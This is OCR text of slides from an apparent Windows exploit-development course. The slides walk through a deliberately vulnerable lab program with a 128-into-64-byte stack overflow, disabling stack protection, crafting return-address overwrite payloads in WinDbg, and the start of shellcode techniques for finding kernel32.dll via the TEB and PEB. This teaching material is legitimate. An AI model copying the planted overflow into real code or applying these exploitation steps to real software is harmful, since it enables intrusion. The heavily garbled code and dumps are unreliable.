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Purpose of the course

* Introduce you to the idiosyncrasies and
complications associated with exploit
development in an enterprise operating
system environment.

* Teach you the basics of finding and exploiting
vulnerabilities in closed source applications.

 Make you aware of the capabilities and
limitations of exploit mitigation technologies
deployed on the Windows environment.



Course Prerequisites

Strong understanding of x86 assembly
Solid understanding of buffer overflow basics

Familiarity with the inner workings of the
Windows Operating System.

Have used a debugger before



Course Outline 1

e Windows stack overflow basics
e Windows shellcode



Course Outline 2

* Windows exploit mitigation technologies

* Defeating windows exploit migitation
technologies



Course QOutline 3

* Fuzzing and crash dump analysis
* From crash dump to working exploit lab



General Course Comments

e Lab driven course

* Learn by doing, not by reading/seeing. Please put
effort into the labs/challenges. Ask questions,
work together. This is how you will really
understand the material.

* |'ll stop covering new material and end class early
each day. Students who need extra help can stay
and | will help review the material. Students who
understand the material well can leave, or stay
and work on more challenging examples of the
covered material.




Starter example

C:\class\basic_vuln\Release>basic_vuln C:\class\sane_file
address of nops is: @x0@403018
address of prize is: OxQRB401000
address of ﬁexdump file is: OxPR4D1020
address of buf: OxDR12ff20
read 8 bytes
bb cc dd 11 22 33 44 20 00 Q0 Q0 BB D BB 2
@@ PO DD D0 DD DD PO DD PO DB VD DB D0 DB DO O
PO DD 00 DO D0 DD DD PO DD PO DD VD DB VD DB O
PO DD D0 DD D0 DO DD PO DD PO DB PBY DB BB DB QO

returned from hexdump_file

C:\class\basic_vuln\Release>

Here is a very basic program to help us explore our exploit environment. The
basic_vuln program reads in a binary file and displays the first 64 hexadecimal
bytes from that file. The program prints various meta data such as the location of
variables and functions in the process address space. This meta information will
help simplify the exploitation process as we are learning.



Starter example code

File Edit View Project Build Debug Tools Window Help
e RN R ™ W= R - &l =L b Release v Win32 v [ max 'Dzlfﬁx“’_—_l';
ELR b as B s = 2 (06 H 3 @ S s
Solution Explorer - basic_vuln v 1 X main.c
= | 2l [Z] ’(Global Scope) VH @ hexdump_file(char * file)
Solution 'basic_vuln' {1 project) - . " . "
é]gﬂbaggymn é printf ("prize ran!l!in");
[ Header Files 813
[1 Resource Files e
= | Source Files 10 void hexdump file (char *file)
€+ main.c 11 ] ¢
12 FILE *fp;
13 unsigned char buf[64];
14 unsigned int 1i;
15 unsigned int n;
16
17 menset (buf, 000, 64) ;
18 printf ("address of buf: 0x%08x\n", &buf[0]);
19

2¢

0
1

A L

34

printf ("read %d bytes\n",

fp = fopen(file, "r");:

if (fp == NULL)

{
printf ("Can't open file‘n");
return;

}

n = fread({buf, 1, 128, fp);

" —BADI

nj ;

for (i=0;i<gizeof (buf);i++)
{
if (1%$16==0&&i!=0)
printf ("\n");
printf ("$02x ", buf[i]):
}

There is an obvious overflow in line 27 where the fread call reads 128 bytes into a 64 byte
Buffer. This leads to a traditional stack overflow, among other possibilities that we will later

explore.
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rose colored glasses =1

basic_wvuln Property Pages

Configuration: | Active(Release)

v Platform: vActive(WinBZ)

v Configuration Manager... ]

[+ Common Properties
[=)- Configuration Properties
General
Debugging

= CIC++
General
Preprocessor
Code Generation
Language
Precompiled Headers
Qutput Files
Browse Information
Advanced
Command Line

[+ Linker

[+ Manifest Tool

[#- XML Document Generator

[+ Browse Information

[+ Build Events

[+ Custom Build Step

Optimization

Inline Function Expansion
Enable Intrinsic Functions
Favor Size or Speed

Omit Frame Pointers

Enable Fiber-safe Optimizations
‘Whole Program Optimization

Optimization

Disabled {/0d)

Default

No

Meither

Mo

Mo

Enable link-time code generation (JGL)

Select option for code optimization; choose Custom to use specific optimization options.  {fOd, [O1, JO2,
J0x)

[ OK H Cancel ]

For starters we disable all visual studio compiler optimizations. These don’t have

anything to do with exploit mitigation, but they will often cause unexpected assembly

to be generated for the given source code. For now, we are turning this off so the
underlying assembly is as vanilla as possible.
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Rose colored glasses++
basic_vuln Property Pages ?)X]

Configuration: lActive(Release) v J Platform: l.ﬂ.ctive(Win32) v ‘ [ Configuration Manager... ]
[+ Common Properties Enable String Pooling Mo
=) Configuration Properties Enable Minimal Rebuild Mo
General Enable C++ Exceptions Yes (JEHsc)
Debugging smaller Type Check No
- CjcH+ Default v
Genersl Runtime Library Multi-threaded DLL {/MD)
Optimization Struct Member Alignment Default
FrSprocessa ) Buffer Security Check No {/GS-) &
Srtoltoriin Enable Function-Level Linking Yes (/Gy)
Language A
) Enable Enhanced Instruction Set Mot Set
Precompiled Headers - - - -
Output Files Floating Point Model Precise ({fp:precise)
Browse Information Enable Floating Point Exceptions Mo
Advanced
Command Line
[#- Linker
[+ Manifest Tool
[+~ ¥ML Document Generator
[+ Browse Information
[+ Build Events
- Custom Build Step
Basic Runtime Checks
Perform basic runtime error checks, incompatible with any optimization type other than debug.  {JRTCs,
IRTCu, JRTC1)
[ OK ] [ Cancel ] Apply

Here we are really helping ourselves by turning off visual studio stack protection.
More about how this is implemented, and how to defeat it later.



First goal

* An important concept in exploit development
is, if you can exploit it, you can crash it

e Let’s try to generate a crash in basic_vuln by
creating a large test file, then analyzing the
crashing process in windbg.



Byte writer

1]-]#include <stdio.h>

2 L#include <gtring.h>

419]int main{int argc, char **argv) EB HxD - [C:\class\crash_file]

5 { Z_Sf] File Edit Search VYiew Analysis Extras Window ?

6 FILE *fp; - &M 16 v | ans v hex v

7 unsigned char buf[128]; :

- . - " 58] crash_file

8 unsigned char address[] = "‘zeflxzbe\xzad\zde"; L

9 unsigned int 1i; Offset{h) 00 01 02z 03 04 OS5 06 07 08 09 DA OB OC OD OE OF
10 00000000 [EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE [%-PiX-PiX-PiX%-F
11 fp = fopen("C:\\class\\crash file", "w"); 00000010 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-BiX%-BPiX-Pi%-b
12 if (fp == NULL) - 00000020 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-bPiX%-BPiX-Pi%-b
e P 00000030 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-biX%-BPiX-bPi%-b
13 { 00000040 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-bi%-BPiX-bi%-b
14 printf ("Can't open file\n"); 000000S0 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE iX-PiX-PiX-Bi%-b
15 return -1; 00000060 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE iX-PiX%-BPiX-Pi%-b
16 ) 00000070 EF BE AD DE EF BE AD DE EF BE AD DE EF BE AD DE i%-BiX%-BiX-Pi%-b

-
17
18 for (i=0;i<sizeof (buf);i1+=4)
19 {
20 memcpy (&buf[i], address, 4) ;
21 }
23 fwrite (buf, 1l,sizeof (buf), fp):
24 fclose (fp)
25 return 0;
2610y

Byte writer is a generic visual studio project I've included for creating files of arbitrary
binary bytes. You can modify this to generate your payloads. You are welcome to use
cygwin and a scripting language of your choice instead.

In this case we create a file of 128 bytes of Oxdeadbeef. This will overflow the 64 byte
buffer in the hexdump_file function, smashing the stack, and generating a crash. Let’s
check it out. 14



First blood

C:\class\basic_vuln\Release)basic_vuln C:\class\crash_file
of nops is: OxR403018
of prize is: Bx401000
of hexdump_file is: OxBR401020
buf: OxDR12ff20 basic_vuln.exe

ad de ad de ef be basic_vuln.exe has encountered a problem and needs to
ad de ad de ef be d d close. We are somy for the inconvenience.

ad de ad de ef be
ef be ad de ef ad de ad de ef be

If you were in the middle of something, the information you were working on
might be lost.

Please tell Microsoft about this problem.

“We have created an ermor report that you can send to us. We will treat
this report as confidential and anonymous.

To see what data this eror report contains, click here.

Send Error Report | |{ Dont Send |

Here we see a good ol’ fashion windows application crash. I'm
sure you have seen this before. If you have seen it when you
opened up a strange pdf from an unrecognized email address,
you should be nervous....

However, this isn’t too informative. Let’s get comfortable with
our windows debugger (windbg) so we can see what’s going on
behind the scenes



File Edit View Debug Window Help

= AL A B G O HEOEOREOOE =i A B

Disasser ‘ommand
Offset: |@Sscopeip [ Previous | [ Next

7c9011db 90 nop Microsoft (R) Windows Debugger Version 6.11.0001.404 X86

7c9011de 90 nop Copyright (c) Microsoft Corporation. All rights reserved.
ntdll!RtlDeactivateActivationContextUnsafeFast:

7c9011dd 8bEf nov edi, edi CommandLine: basic_vuln C:\crash\crash_file

7c9011df 55 push ebp Symbol search path is: SRV*C:\WINDOWS\ Symbols*http://msdl.microsoft.com/download/symbols
7c¢9011le0 8bec mowv ebp, esp Executable search path is:

7c¢9011le?2 83ecS54 sub esp,54h ModLoad: 00400000 00406000 basic_vuln.exe

7c9011e5 56 push esi ModLoad: 7¢800000 7¢9bz2000 ntdll.dll

7c¢9011le6 64a118000000 nowv eax,dword ptr fs:[00000018h] ModLoad: 7c800000 7<¢8f6000 C:\WINDOWS\systen32\kernel32.d1l1l

7c901llec 803d94e0977c00 cup byte ptr [ntdll!RtlpNotAllowingMultipl [ModLoad: 78520000 785c3000 C:\WINDOWS\WinSx8\x86_Microsoft.vC90.CRT_1fcB8b3b%alel8e3b_9.0.30729.1_ x-ww
7c¢9011f3 8b7508 nowv esi,dword ptr [ebp+8] (cfc.d00): Break instruction exception - code 80000003 (first chance)
7c¢9011f6 8945fc mowv dword ptr [ebp-4],eax cax=00251ebd4 ebx=7ffd5000 ecx=00000005 edx=00000020 esi=00251f48 edi=00251eb4
7c¢9011£f9 0£85£7ec0000 Jne ntdll!RtlDeactivateActivationContextUn [eip=7c90120e esp=0012fb20 ebp=0012fc94 iopl=0 nv up ei pl nz na po nc
7¢9011ff 6461010 test byte ptr [esi+l10h], 10h cs=001b s=s=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
7c¢901203 0f84edec0000 je ntdll!RtlDeactivateActivationContextUn ntdll!DbgBreakPoint:

7c901209 Se pop esi 7c90120e cc int 3

7c¢90120a <9 leave

7c90120b c20400 ret 4

ntdll!DbgBreakPoint:

7c90120e cc int z

7c¢90120f <3 ret

7c901210 Bbff mowv edi, edi

ntdll!DbgUserBreakPoint:

7c901212 cc int 3

7c901213 <3 ret

7c901214 Bbff nowv edi, edi

ntdll!DbgBreakPointWithStatus:

7c901216 8b442404 nmov eax,dword ptr [esp+4]

ntdll!RtlpBreakWithStatusInstruction:

7c90121a cc int 3

7c90121b c20400 ret 4

ntdll!_ NtCurrentTeb:

7c90121e 64al118000000 mov eax,dword ptr fs: [00000018h]

7901224 <3 ret

ntdll!RtlInitString:

7¢901225 57 push edi < 2
< > ‘D: 000> ’

Disassembly | main.r

Windbg is our debugger of choice for this class. It takes some getting use to, but is quite
powerful once you get the hang of it. In this case | initiate the debugger with the QY argument
which basically tells it to save our settings. You can windbg to display whatever information is
useful to you. Right now | have the command engine on the right, and the disassembly and
corresponding source code displaying in the left window. 1o



Useful windbg commands

Bp basic_vuln!main, set a break point for the main function in the basic_vuln process.
Dd ebp L2, display 2 32bit values starting at the address pointing to by the ebp register.
K, display stack backtrace information

Using “run to cursor” icons in conjunction with source/binary mode. 180 & =

DR
p, step over

T, step

X basic_vulnlprize, tell me the location of the prize function in basic_vuln.
Poi(Oxdeadbeef), returns *Oxdeadbeef

? <expression>, masm evaluation mode

?? <expression>, c++ evaluation mode

U address, disassemble code at address

U poi(ebp+4), disassemble the code that the return address is pointing to

Dg fs, display segment information selected by the fs register

Dt nt!_peb, display structure information on the peb structure that is defined in the nt
module




uu4aulusd
00401061
00401063
00401068
0040106e
00401071
00401076
00401079
0040107a
0040107f
00401081

o3/dt4uu
7513

684c304000
f£f15ac204000

83c404

990000000

gh45f4
50

6880000000

6all
gd4db0

00401084 51

00401085
0040108k
0040108e
00401091
00401094
00401095
004010%a
004010a0
004010a3
004010aa
004010ac
004010af
004010b2
004010b5
004010bL9
004010bb
004010be

noANITN~nN

££159c204000

83c410
§945fc
gb55fc
52

6860304000
f£f15ac204000

83c408

c745£5300000000

eb09
gb45f8
§3c001
§945f8
837df840
733d
Gb45f8
33dz2

ratTnnnnnnn

cup
jne
push
call
add
Jnp
nov
push
push
push
lea
push
call
add
mov
mov
push
push
call
add
mov
Jnp
mov
add
nov
cmp
jae
mov
XOor

PN

Basic vuln crash 1

dword ptr [ebp-UCh],U
basic_vuln!hexdump file+0x56 (00401076
offset basic_vulnlnops+0x34 (0040304¢)
dword ptr [basic_wuln!_ imp_ printf (00
esp, 4

basic_vuln!hexdump file+0Oxe6 (00401106
eax,dword ptr [ebp-0Ch]

eax

80h

1

ecx, [ebp-50h]

ecx

dword ptr [basic_wuln! imp fread (004
esp, 10h

dword ptr [ebp-4],eax

edx,dword ptr [ebp-4]

edx

offset basic_vulnlnops+0x48 (00403060)
dword ptr [basic_vuln! imp_ printf (00
esp, 8

dword ptr [ebp-8],0

basic_vuln!hexdump file+0x95 (004010b5
eax,dword ptr [ebp-8]

eax, 1l

dword ptr [ebp-8],eax

dword ptr [ebp-8],40h
basic_vulnlhexdump_ file+0Oxd8 (004010£f8
eax,dword ptr [ebp-8]

edx, edx
Ay T MNA

ncallipupdgBsreakKrolnt:

7c90120e

0:000> bp basic vulnlmain

0:000> g

cC

Breakpoint 0 hit
eax=00343018 ebx=00000000 ecx=785bb6f0 edx=0(
eip=00401110 esp=0012ff80 ebp=0012ffc0 iopl=I

cs=001b

sg=0023

basic_vulnlmain:

00401110
0:000> g

55
0x~401084

ds=0023

int

es=0023

push

fs=003b

ebp

eax=785b7408 ebx=00000000 ecx=001Z2ff20 edx=0(
eip=00401084 esp=0012ffl4 ebp=0012ff70 iopl=I

cs=001b

ss=0023

ds=0023

es=0023

basic_vulnlhexdump_ file+0x64:

004010584

51

0:000> dd ebp L2

DDlfo7

0012f£70
0: 000> u

401177

push

f==003b

eCX

basic_vulnlmain+0x67 [c:\class\basic_vuln\bas

00401177
004011%7a
0040117 f
00401185
00401188
0040118a
0040118k

83c404
68£4304000
f£f15ac204000
83c404

33c0

5d

<3

basic_vulnlmenset:

0040118¢

£f£25a0204000

add
push
call
add
XOr
pop
ret

jmp

esp, 4
offset basic
dword ptr [}
esp, 4

eax, eax

ebp

dword ptr [}

First we set a break point before the fread call in hexdump_file that will ultimately corrupt
the stack, so we can check out the stack before its destroyed. In this case | switch to source
mode, open up the disassembly window, put my cursor on the push ecx before the call to

fread, then tell windbg to run to cursor. Once the break point before fread is hit, | can

inspect the saved frame pointer and saved return address on the stack with dd ebp L2.
Everything looks sane at this point since the stack hasn’t been smashed.
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Basic vuln crash 2

L . Name value

3318:3 gEggggQDDD ﬁzih zgiszao£3510_vuln!nops+0x30 (00403048) M file Oxdeadbeef "-—- memory read error ¢

. ptr [ebp+8] - - =
401050 52 push edx Hbuf unsigned char [64] .???
401051 ££15a4204000 call dword ptr [basic vuln! imp  fopen (004 Uxdeadbeef struct _iobuf *
401057 83c408 add esp, 8 - - Oxdeadbeef
40105a 8945f4 nov dword ptr [ebp-0Ch],eax n Oxdeadbeef
40105d 837df400 cmp dword ptr [ebp-0Ch],O0
401061 7513 jne basic_vuln!hexdump_file+0x56 (00401076
401063 684¢c304000 push offset basic_vulnlnops+0x34 (0040304c)
401068 ffl5ac204000 call dword ptr [basic_wuln!_imp_ printf (00
40106e 83c404 add esp, 4
401071 990000000 Jmp basic_vuln!hexdump_file+Oxe6 (00401106
401076 8b45f4 mov eax,dword ptr [ebp-0Ch]
401079 50 push eax
40107a 6880000000 push 80h
40107f 6all push 1
401081 8d4db0 lea ecx, [ebp-50h]
401084 51 push ecx
401085 ££f159c204000 call dword ptr [basic_wuln! imp fread (004
40108b 83c410 add esp, 10h|
40108e 8945fc mov dword ptr [ebp-4],eax ‘basic vuln!memset :
401091 8b55fc nov edx, dword ptr [ebp-4] - i )y , ,
401094 52 push edx g?gg;iﬁ: £f£25a0204000 Jmp dword ptr [basic_wvuln!
401095 6860304000 ush offset basic vulnlnops+0x48 (00403060) i
40109a ff15ac204000 zall dword ptr [basic vulgl imp printf (pofJe8%=78507408 ebx=00000000 ecx=0012ff20 edx=003429c8 esl
4010a0 83408 add esp, B - - — elE—UD4DIUBE esp—DDl%fle ebp:DDlfo7D_1opl—U _ n
4010a3 <745£800000000 mov dword ptr [ebp-8],0 EE;Eglﬁulifgggiimpdilfzfgxﬁgf‘u023 fs=003b gs=0000
4010aa eb09 Jmp basic_vuln!hexdunp_file+0x95 (004010b5 = - = : .
4010ac Sb45ES o eax, dword ptr [ebp-8] 09401085 £f£159¢c204000 call dword ptr [basic_wvuln!
4010af 853c001 add eax, 1 D'UEU> p _ _ _
4010b2 5945£8 o dword ptr [ebp-B81,eax egx:DDDDDDBD ebx:DDDDDDDD ecx:78550307 gdx—203429c8 esl
4010b5 837dE£840 cnp dword ptr [ebp-8],40h elfag2;0108?0325_03135553 ebp:ggégffgu_aggi—n 0000 o
4010b% 733d jae basic_vulnlhexdump file+0xdS (0D04010£8 Ez;ic vuli?;exdump ?;le+0x6§?_ s= gs=
4010bb 8b45f8 nov eax,dword ptr [ebp-8] — i - )
4010be 33d2 “or adi, eds 0040108b 83c410 add esp, 10h
4010c0 b910000000 nov ecx, 10h 0:000> dd ebp L2
4010e5 £7F1 div e s, o 0012ff70 deadbeef deadbeef
4010¢c7 85d2 test edx, edx
4010c9 7514 jne basic_vuln!hexdump_ file+0Oxbf (004010d4f [<

> 0:000>‘

assembly main.c

We do a couple “p” commands to step over the call to fread, then examine the stack again.
Notice the return address, as well as all the over local variables have been obliterated.

19



Basic vuln crash 3

deadbefe 272 227
deadbeff 272 227
deadbf00 272 2272
deadbf0l 2?2 2992
deadbf02 2?2 2992
deadbf03 277 222 Fommend__________|
deadbf04 27 227 0:000> p
deadbf05 27 299 eax=00000080 ebx=00000000 ecx=78550307 edx=003429c8 esi=00000001 edi=00403474
deadbf06 2? 299 eip=0040108b esp=0012ff10 ebp=0012ff70 iopl=0 nv up ei pl nz na po nc
deadbf07 2?2 299 cs=001b s=s=0023 ds=0023 ez=0023 fg=003b gs=0000 efl=00000202
deadbf08 292 299 basic_vuln!hexdump_ file+0xéb:
deadbf09 27 227 0040108b B83c41l0 add esp, 10h
deadbfla 2?7 2929 0:000> dd ebp L2
deadbfib 22 299 0012ff70 deadbeef deadbeef
deadbflc 27 27292 0:000> g
deadbf0d 27 299 (648.74c): Access violation - code c0000005 {(first chance)
deadbfle 27 299 FiFst chance exceptions are reported before any exception handling.
deadbf0f 27 272 This exception may be expected and handled.
deadbfl0 272 299 eax=00000001 ebx=00000000 ecx=78551el7 edx=785bbbA0 esi=00000001 edi=00403474
deadbfll 27 299 eip=deadbeef esp=0012ff78 ebp=deadbeef iopl=0 nv up ei pl nz ac po nc
deadbfl2 27 299 cg=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00010212
deadbfl3 27 2272 deadbeef 27 299
deadbfld4 272 299
deadbfl5 22 222 P
deadbfl6 22 299
[p:000> |

One last ‘g’ to continue execution will send us into oblivion. You can see that our attacker
controlled value, Oxdeadbeef, ends up controlling the execution flow.

20



Basic_vuln lab

#include <stdio.h>
unsigned char nops([] = "\x90\x90\x90\x90";

volid prize ()
{
printf ("prize ran!llin");

1

Your first lab will be to get basic_vuln to execute the prize function. Additionally
make prize run once and only once. If you spam the entire stack the address of the
prize function, it will execute multiple times. Use windbg to examine the stack and
discover the precise number of bytes you will need to write to get to the return
address.

After you have successfully executed the prize function, try to redirect execution to
the nops buffer, which is just full of the nop instruction.

You can use the byte writer program to generate your payloads, or a scripting
language of your choice. However, I'd suggest saving your payloads as we will use
them later to explore exploit mitigation technologies.



Basic vuln lab wrapup

HxD - [C:\class\basic_vuln_prize_payload]
4 File Edit Search View Analysis Extras Window 7

16 v ANSI v  hex v
4] basic_vuln_prize_payload

Offset (h) 00 01 02 03 04 05 06 07 08 09 0OA OB OC OD OE OF

00000000 00 10 40 00 00 10 40 00 0O 10 40 0O OO 10 40 OO
00000010 00 10 40 00 0O 10 40 0O OO 10 40 0O OO 10 40 OO
0poooozo 00 10 40 00 0O 10 40 0O OO 10 40 0O OO 10 40 OO
00000030 00 10 40 00 00 10 40 00 0O 10 40 0O 0O 10 40 0O
00000040 0O 10 40 00 0O 10 40 0O OO 10 40 0O OO 10 40 OO
00o000S0 00 10 40 00 0O 10 40 0O

C:N\class\basic_vuln\Release>basic_vuln C:\class\basic_vuln_prize_payload
address oF nops is: @x0B403018
address ﬁrlze 15 @x@@4®1®@®

oF exdump le is: BOxR4021020

of buf: @x@@lZFFZ@

bytes
é@ PO 10 40 D0 DD 10 40 O DB 10 40 QO
10 40 00 20 10 40 Q0 Q0 10 40 0 DB 10 40 QD
10 40 00 PO 10 40 V0 D0 10 40 OB DB 10 40 QO
10 40 20 Y0 10 40 V0 D0 10 40 G DB 10 40 Q2
prize rantt!

C:\class\basic_vuln\Release>

How did you calculate the number of bytes to
write?

* What possible problems can you spot with
this payload?



Basic vuln lab wrapup 2

0:000> 2ebpt+4d

Evaluat i : 1245044 = 0012ff74 .
0:000> 7pod (obpid) | calculated the number of bytes to write by
Evaluate expression: 4198775 = 00401177 using Windbg’s masm evaluation mode. Ebp
0:000> ?buf ) ) ]
Evaluate expression: 1244960 = D012£F20 +4 is the location of the return address. Buf is
Iz 000> Rebptd-but evaluated as the location of buf on the stack.

Evaluate expression: 84 = 00000054 . .
The difference between them is the number

of bytes you have to write to get to the
return address.

: OxDO12f£20

8 b
1@ 40 é@ 00 10 40 PO\LA 40/ 06 20 10 40 00
@@ 10 40 00 Q0 10 40 O 20 42 00 90 10 40 @O
02 10 40 00 20 10 40 B0 20 4¢ 0@ 20 10 40 20
02 10 40 00 00 10 40 VO VO 4¢, 02 00 10 40 °0

prize rantt!t

C:\class\basic_vuln\Release>

A possible problem with our payload is all the null bytes. Many user input parsing functions
will stop reading in input when they see the null byte. In our case, we are reading in the
data like its binary data, so we don’t terminate upon seeing null bytes. This highlights a
larger problem with windows exploitation, the addresses are often less friendly than in
Linux because they often contain forbidden characters (0x00,0x0a, etc..)



Basic vuln lab wrapup 3

Evaluate expression: 4206616 = 00403018
0: 000> bp nops

0:000> bl

0 e 00401020 [c:\class\basic_vuln\basic_vulnimain.c @ 11] 0001 (0001) 0:**** basic vulnl!hexdumnp file
1l e 00403018 0001 (0001) O:**** basic_vulnlnops

0:000> g

Breakpoint 1 hit
eax=00000001 ebx=00000000 ecx=78551le67 edx=785bbb60 esi=00000001 edi=00403474

eip=00403018 e=sp=0012ff78 ebp=00403018 iopl=0 nv up ei pl nz ac po nc
cs=001b s==5=0023 ds=0023 eg=0023 f=5=003b gs=0000 efl=00000212
basic_vuln!nops:

00403018 S0 nop

0:000> ?eip

Evaluate expression: 4206616 = 00403018
0:000> u eip

basic_vuln!nops:

00403018 90 nop
00403019 390 nop
0040301a 90 nop
0040301k 90 nop
0040301c 0O0OD add byte ptr [eax],bl

Your payload to execute nops should look similar to the prize one. You can check whether
Or not nops actually ends up being executed by setting a breakpoint on it.
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Basic vuln lab wrapup 4

Data Execution Prevention - Microsoft Windows X
C:\class\

To help protect your computer, Windows has closed this program.

CQ\TlaSS\
olume i Name: basic_vuln
Volume £

Director

Change Settings ] | Close Message l

11/11/201

1 1/ 1 1/ 2@1 Data Execution Prevention helps protect against damage from viruses or other
AR WaWIF4%Rl threats. Some programs might not run correctly when it is turned on. For wvuln.exe

fvuln.pdb

11117201 BEL updated version of this program, contact the publisher. What else should I do?

i free

C:N\class\basic_vuln\Release>basic_vuln C:\class\basic_vuln_nops_payload
address of nops is: @x0R403018
ﬁrlze 15 @x@@4@1@@@
exdump_file is: @OxQR4Q01020
address gftbuf BXGBIZFFZB
es
Q0 18 30 40 Y 18 30 40 0 18 30 40 QO
18 30 40 00 18 30 40 Y 18 30 40 D
18 30 40 00 18 30 40 0 18 30 40 D
18 30 40 00 18 30 40 0 18 30 40 Y0 18 30 40 QO

If DEP was enabled on this computer, basic_vuln_nops_payload would not have worked
But basic_vuln_prize_payload would have. That’s because the nops is stored in a
Non-executable region of the processes memory. Obviously the prize function has to be
Stored in an executable region of the process since it is a function. More on this later...



The rabbit hole

* This lab should have served as a gentle review of
very basic exploit concepts and given you the
opportunity to become familiar with our tools and
environment.

* Our goal in exploit development is always
arbitrary code execution, so its time to talk about
Windows shellcode development.

* Windows shellcode is brutally complicated

compared to Linux shellcode, so prepare for
battle.




Linux vs Windows Shellcode

0000000: 31 cO 31 db 31 c9 31 d2 bO 04 b3 01 68 64 21 <21
0000010: 21 68 4f 77 6e 65 89 el bZ 08 cd 80 bO 01 31 db
010101010 V240 I ofs B & 10

The top image is an example of Linux hello world style shellcode, the lower image is
an equivalent example in Win32. Ouch.



Why?

In Linux we use the handy int 0x80 interface
which allows us to directly access system calls.

Windows has something similar with int Ox2e,
but it is not used by reliable shellcode.

The Linux int Ox80 interface is set in stone and

will not change. The Windows int Ox2e
interface changes from version to version, so

can’t be used reliably in shellcode.

Also, the Ox2e interface lacks useful shellcode
functionality like network socket creation
code that is present in the Linux Ox2e.



The Way

* |nstead of using a system call interface, in Windows we
will traverse a complicated and multilayered system of
data structures to find important system DLLs loaded
into the victim process address space.

* Once we have located the system DLLs, we will parse
their complicated and layered data structures to locate
two important functions that allow us to load arbitrary
DLLs into the victim process address space, then locate
and call the functions those loaded DLLs provide.

e We will use the functions contained in the DLLs we
choose to load to accomplish arbitrary functionality.



Eyes on the prize

It’s easy to lose sight of our objective as we dive
deep into the Quagmire that is the win32 API.

Remember, our first goal here is to find where
important system DLLs are located in the
processes address space.

Once we have located them, we can use their
functions for shellcode functionality.

In particular, the DLL we are looking for is
kernel32.dll, which hosts some important
functions that we will make use of.



Repetition

We are looking for kernel32.dll’s location in
the victim process address space.

We are looking for kernel32.dll’s location in
the victim process address space.

We are looking for kernel32.dll’s location in
the victim process address space.

We are looking for kernel32.dll’s location in
the victim process address space.



Thread Execution Block (TEB)

n Windows, a process is composed of threads.

t’s the threads that are “executing,” not the
Orocess.

At logical address fs:0 Windows stores the Thread
Execution Block (TEB) for the currently executing
thread. (We all remember how segmentation
works right...?)

The TEB stores all sorts of interesting data about
the currently executing thread.

The TEB is the entrance to the complicated maze
of data structures we will navigate.




TEB 2

0:000> dt nt! teb 7f£fdf000

ntdll! TEB
+0x000 NtTib : NT TIE
+0x01lc EnvironmentPointer : {(null)
+0x020 ClientId : CLIENT ID
+0x028 ActiveRpcHandle : (null)
+0x02c ThreadLocalStoragePointer : (null)
+0x030 ProcessEnvironmentBlock : 0x7££d%000 =EEB 4&_
+0x034 LastErrorvValue : 0
+0x038 CountOfOwnedCriticalSections : 0
+0x03c CsrClientThread : (null)
+0x040 Win32ThreadInfo : (null)
+0x044 User3ZReserved : [26] O
+0x0ac UserReserved : [5] O
+0x0c0 WOW32Reserved : (null) |
+0x0cd CurrentLocale : 0x409

+0x0c8 FpSoftwareStatusRegister : 0

 The TEB contains all sorts of interesting data in it.

 However, we are really only interested in the pointer it
contains to the Process Execution Block (PEB).
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0:000> dt nt! peb 7££dS5000

PEB

+0x000 InheritedAddressSpace : 0 '!
+0x001 ReadImageFileExecOptions : 0 "'

+0x002 BeingDebugged : Oxl '

+0x003 SpareBool : 0T

+0x004 Mutant : OxELLffffff

+0x008 ImageBaseAddress : 0x00400000

+0x00c Ldr : 0x00Z241ea0 PEBE LDR DATA £

+0x010 ProcessParameters : 0x00020000 RTL USER PROCESS PARAMETERS
+0x014 SubsSystembData : (null)

+0x018 ProcessHeap : 0x00140000

+0x01c FastPeblLock : 0x7c¢980620 RTL CRITICAL SECTION

+0x020 FastPebLockRoutine : 0x7¢S01000
+0x024 FastPebUnlockRoutine : 0x7c¢%010e0
+0x028 EnvironmentUpdateCount : 1

- a  m = - =

The Process Execution Block contains meta information about a process.
It contains a variety of useful data from an attacker’s perspective.

Right now we are interested in the “Ldr” member of the peb, which
contains information about the DLLs loaded into the processes address

space.
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PEB LDR DATA

0:000> dt nt! PEB LDR DATA Z4leal
ntdll! PEB LDR DATA

+0x000 Length : 0xZ8

+0x004 Initialized : Ox1 '

+0x008 SsHandle : (null)

+0x00c InLoadOrderModuleList : LIST ENTRY [ Ox24lee0 - 0x242010 ]

+0%014 IpMemoryOrderModuleList : LIST ENTRY [ Ox24lee8 - 0x242018 ]

+0x01lc InInitializationOrderModulelList : LIST ENTRY [ 0x241£58 - 0x242020 ]
+0x024 EntryInProgress : (null)

* PEB_LDR_DATA stores the heads of a few linked lists that
enumerate the DLLs currently loaded into the process.

* As expected, InLoadOrderModule list gives a linked list of
the DLLs used by the process, ordered by the order in which
they were loaded by the process.

 We are interested in the InlnitializationOrderModulelList
because it lists the process DLLs in an order where the
system DLL we are looking for, “kernel32.dll” is always the
second DLL in the list.



The unknown

* Unfortunately once we hit the
InInitializationOrderModulelList we have fallen
off of the edge of the map as far as Windows is

concerned.

* The structure it is pointing too is mostly
undocumented (or not documented
accurately) and WinDBG won’t help us parse it
because there are no publicly available
debugging symbols for it.



Manual Inspection

0:000> dt nt! PEB LDR DATA 24leal
ntdll! PER LDR_DATA

+0x000 Length : 0xZ8
+0x004 Initialized : Ox1 '
+0x008 SsHandle : (null)
+0x00c InLoadOrderModuleList : LIST ENTRY [ OxZ24lee0 - 0x242010 ]
+0x014 InMemoryOrderModuleList : LIST ENTRY [ OxZ24lee8 - 0x242018 ]
+0x01lc InInitializationOrderModuleList : LIST ENTRY [ O0x241f58 - 0x242020 ]
+0x024 EntryInProgress @ (null) ——
0:000> dd 0x241f58 LC e

00241f58 00242020 00zZ4lebc 7cS00000 7c9120f8
00241fe8 000bz2000 0208003a 7c980048 00140012
00241f78 7c52040c 00084004 OOOOQLffff 7cHieles

* First we manually dump the bytes associated with the
unknown structure.

* When reverse engineering Windows structures, you can
often make inferences about the data based on the
values. For instance 0x7c900000 looks like a base address
of something because of its alighment.
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Spotty Documentation

typedef struct LDR MODULE {

LIST ENTRY InLoadOrdexrModuleList;
LIST ENTRY InMemoryOrdexrModulelList;
LIST ENTRY InInitializationOrdexModuleList;
